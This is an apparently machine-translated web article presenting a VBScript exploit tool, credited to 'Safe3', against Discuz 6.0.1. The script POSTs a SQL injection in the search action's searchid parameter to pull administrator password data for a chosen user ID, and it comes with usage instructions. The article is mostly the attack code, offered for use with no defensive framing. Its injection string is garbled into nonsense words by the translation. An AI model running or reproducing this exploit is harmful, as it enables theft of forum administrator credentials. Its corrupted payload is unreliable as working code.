How to use vbs to implement discuz arbitrary administrator password exploit tool
Xiaobian to share with you how to use vbs to achieve discuz arbitrary administrator password vulnerability exploitation tool, I hope you will gain something after reading this article, let's discuss it together!
It is also conducive to modification.
The following is the VBS version of the search.inc.php file exploit code
The code is as follows:
Dim strUrl,strSite,strPath,strUid
ShowB ()
Set Args = Wscript.Arguments
If Args.Count 3 Then
ShowU ()
Else
StrSite=Args (0)
StrPath=Args (1)
StrUid=Args (2)
End If
StrUrl= "action=search&searchid=22%cf' UNION SELECT 1century passwordGram3reachpasswordGrams3reignedpasswordlemagecomplicationtheconsumptionCharacterizationcdbbadmembersplectionChargencedChargesAccording to strUrl=" passwordGramPasswordMagned3Permanent words = "& strUid &" / * & do=submit "
Set objXML = CreateObject ("Microsoft.XMLHTTP")
ObjXML.Open "POST", strSite & strPath & "index.php", False
ObjXML.SetRequestHeader "Accept", "* /"
ObjXML.SetRequestHeader "Accept-Language", "zh-cn"
ObjXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
ObjXML.SetRequestHeader "User-Agent", "wap"
ObjXML.send (strUrl)
Wscript.echo (objXML.ResponseText)
Sub showB ()
With Wscript
.Echo ("+-- =--")
.Echo ("Exploit discuz6.0.1")
.Echo ("Code By Safe3")
.Echo ("+-- =--")
End with
End Sub
Sub showU ()
With Wscript
.Echo ("+-- =--")
.Echo ("usage:")
.Echo ("cscript" & .ScriptName & "site path uid")
.Echo ("example:")
.Echo ("cscript" & .ScriptName & "http://www.example.com/ / forum/ 1 > result.txt")
.Echo ("+-- =--")
.Quit
End with
End Sub
After reading this article, I believe you have a certain understanding of "how to use vbs to achieve password exploitation tools for any discuz administrator". If you want to know more about it, welcome to follow the industry information channel, thank you for your reading!
